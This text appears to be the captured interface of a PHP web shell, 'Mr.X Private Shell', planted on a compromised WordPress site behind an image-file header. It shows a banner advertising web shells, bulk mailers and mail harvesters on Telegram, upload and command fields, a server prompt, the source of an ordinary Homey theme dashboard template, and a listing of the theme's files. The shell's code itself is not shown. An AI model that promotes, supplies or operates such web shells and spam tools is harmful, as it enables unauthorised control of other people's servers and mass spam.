����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.143: ~ $
<?php
/**
 * Template Name: Dashboard Favorites
 */
if ( !is_user_logged_in() ) {
    wp_redirect(  home_url('/') );
}

get_header(); 

global $current_user, $post;

wp_get_current_user();
$userID         = $current_user->ID;
$user_login     = $current_user->user_login;

$fav_ids = 'homey_favorites-'.$userID;
$fav_ids = get_option( $fav_ids );

$cgl_beds = homey_option('cgl_beds');
$cgl_baths = homey_option('cgl_baths');
$cgl_guests = homey_option('cgl_guests');

$is_listing_fav_empty = $is_experience_fav_empty = 0;
?>

<section id="body-area">

    <div class="dashboard-page-title">
        <h1><?php echo $homey_local['m_favorites_label']; ?></h1>
    </div><!-- .dashboard-page-title -->

    <?php get_template_part('template-parts/dashboard/side-menu'); ?>

    <div class="user-dashboard-right dashboard-without-sidebar">
        <div class="dashboard-content-area">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-lg-12 col-md-12 col-sm-12">
                        <div class="dashboard-area">
                            <div class="block">
                                <div class="block-title">
                                    <div class="block-left">
                                        <h2 class="title"><?php echo esc_attr($homey_local['manage_label']); ?></h2>
                                    </div>
                                </div>

                                <?php 
                                if(!empty($fav_ids)) {
                                    $args = array('post_type' => 'listing', 'post__in' => $fav_ids, 'numberposts' => -1, 'post_status' => array('expired', 'publish', 'pending', 'draft', 'auto-draft', 'future', 'private', 'inherit', 'trash')
                                    );
                                    $myposts = get_posts($args);

                                    if(isset($myposts[0])){ ?>
                                        <div class="table-block dashboard-listing-table dashboard-table">
                                            <table class="table table-hover">
                                                <thead>
                                                <tr>
                                                    <th><?php echo esc_attr($homey_local['thumb_label']); ?></th>
                                                    <th><?php echo esc_attr($homey_local['address']); ?></th>
                                                    <th><?php echo homey_option('sn_type_label'); ?></th>
                                                    <th><?php echo esc_attr($homey_local['price_label']); ?></th>

                                                    <?php if($cgl_beds != 0) { ?>
                                                        <th><?php echo homey_option('glc_bedrooms_label');?></th>
                                                    <?php } ?>

                                                    <?php if($cgl_baths != 0) { ?>
                                                        <th><?php echo homey_option('glc_baths_label');?></th>
                                                    <?php } ?>

                                                    <?php if($cgl_guests != 0) { ?>
                                                        <th><?php echo homey_option('glc_guests_label');?></th>
                                                    <?php } ?>

                                                    <th><?php echo esc_attr($homey_local['actions_label']); ?></th>
                                                </tr>
                                                </thead>
                                                <tbody>
                                                <?php

                                                foreach ($myposts as $post) : setup_postdata($post);
                                                    get_template_part('template-parts/dashboard/favorite-item');
                                                endforeach;
                                                wp_reset_postdata();
                                                ?>
                                                </tbody>
                                            </table>
                                        </div>
                                    <?php
                                    }else{
                                        $is_listing_fav_empty = 1;
                                    }
                                    ?>

                                <?php
                                } else {
                                    $is_listing_fav_empty = 1;
                                }
                                ?>

                                <!--experiences table list-->
                                <?php
                                if(!empty($fav_ids)) {
                                    $args = array('post_type' => 'experience', 'post__in' => $fav_ids, 'numberposts' => -1, 'post_status' => array('expired', 'publish', 'pending', 'draft', 'auto-draft', 'future', 'private', 'inherit', 'trash')
                                    );
                                    $myposts = get_posts($args);

                                    if(isset($myposts[0])){ ?>
                                        <div class="table-block dashboard-listing-table dashboard-table">
                                            <table class="table table-hover">
                                                <thead>
                                                <tr>
                                                    <th colspan="6"><?php echo esc_html__('Favorited Experiences', 'homey'); ?></th>
                                                </tr>

                                                <tr>
                                                    <th><?php echo esc_attr($homey_local['thumb_label']); ?></th>
                                                    <th><?php echo esc_attr($homey_local['address']); ?></th>
                                                    <th><?php echo homey_option('sn_type_label'); ?></th>
                                                    <th><?php echo esc_attr($homey_local['price_label']); ?></th>

                                                    <?php if($cgl_guests != 0) { ?>
                                                        <th><?php echo homey_option('glc_guests_label');?></th>
                                                    <?php } ?>

                                                    <th><?php echo esc_attr($homey_local['actions_label']); ?></th>
                                                </tr>
                                                </thead>
                                                <tbody>
                                                <?php

                                                foreach ($myposts as $post) : setup_postdata($post);
                                                    get_template_part('template-parts/dashboard/favorite-exp-item');
                                                endforeach;
                                                wp_reset_postdata();
                                                ?>
                                                </tbody>
                                            </table>
                                        </div>
                                        <?php
                                    }else{
                                        $is_experience_fav_empty = 1;
                                    }
                                    ?>

                                    <?php
                                } else {
                                    $is_experience_fav_empty = 1;
                                }
                                ?>
                                <!-- end of experiences table list-->
                            </div><!-- .block -->

                            <?php if ($is_listing_fav_empty == 1 && $is_experience_fav_empty == 1){
                                echo '<div class="block-body">';
                                echo esc_attr($homey_local['fav_dont_have']);
                                echo '</div>';
                            }
                            ?>
                        </div><!-- .dashboard-area -->
                    </div><!-- col-lg-12 col-md-12 col-sm-12 -->
                </div>
            </div><!-- .container-fluid -->
        </div><!-- .dashboard-content-area --> 
    </div><!-- .user-dashboard-right -->

</section><!-- #body-area -->


<?php get_footer();?>

Filemanager

Name Type Size Permission Actions
dashboard-exp-payment.php File 16.95 KB 0644
dashboard-experience-submission.php File 8.29 KB 0644
dashboard-experience-submitted.php File 5.79 KB 0644
dashboard-experiences.php File 11.37 KB 0644
dashboard-favorites.php File 8.54 KB 0644
dashboard-invoices.php File 7.31 KB 0644
dashboard-listing-submitted.php File 6.84 KB 0644
dashboard-listings.php File 11.73 KB 0644
dashboard-membership-host.php File 11.66 KB 0644
dashboard-messages.php File 7.17 KB 0644
dashboard-payment.php File 16.84 KB 0644
dashboard-profile.php File 6.08 KB 0644
dashboard-reservations-experiences.php File 6.85 KB 0644
dashboard-reservations.php File 9.61 KB 0644
dashboard-reservations2-experiences.php File 1.16 KB 0644
dashboard-reservations2.php File 2.29 KB 0644
dashboard-submission.php File 7.79 KB 0644
dashboard-wallet.php File 4.39 KB 0644
dashboard.php File 2.75 KB 0644
template-compare-exp.php File 6.68 KB 0644
template-compare.php File 10.05 KB 0644
template-exp-search.php File 531 B 0644
template-experience-card.php File 6.54 KB 0644
template-experience-grid.php File 6.33 KB 0644
template-experience-list.php File 6.22 KB 0644
template-experience-sticky-map.php File 6.37 KB 0644
template-half-map-exp.php File 2.19 KB 0644
template-half-map.php File 2.17 KB 0644
template-homepage.php File 618 B 0644
template-ical-exp.php File 1.72 KB 0644
template-ical.php File 1.77 KB 0644
template-instance-booking.php File 1.06 KB 0644
template-instance-exp-booking.php File 831 B 0644
template-listing-all-reviews.php File 4.13 KB 0644
template-listing-as-page.php File 298 B 0644
template-listing-card.php File 6.7 KB 0644
template-listing-grid-v2.php File 7.03 KB 0644
template-listing-grid.php File 6.74 KB 0644
template-listing-list-v2.php File 6.74 KB 0644
template-listing-list.php File 6.34 KB 0644
template-listing-sticky-map.php File 6.58 KB 0644
template-membership-webhook.php File 37.93 KB 0644
template-page.php File 2.61 KB 0644
template-search.php File 495 B 0644
template-splash-exp.php File 3.74 KB 0644
template-splash.php File 3.35 KB 0644
template-stripe-charge-exp.php File 7.4 KB 0644
template-stripe-charge.php File 11.83 KB 0644
template-subscriptions-payment-complete.php File 23 KB 0644
template-subscriptions-stripe-charge.php File 3.98 KB 0644
template-verification.php File 2.76 KB 0644
template-woocommerce.php File 2.02 KB 0644
testing.php File 87 B 0644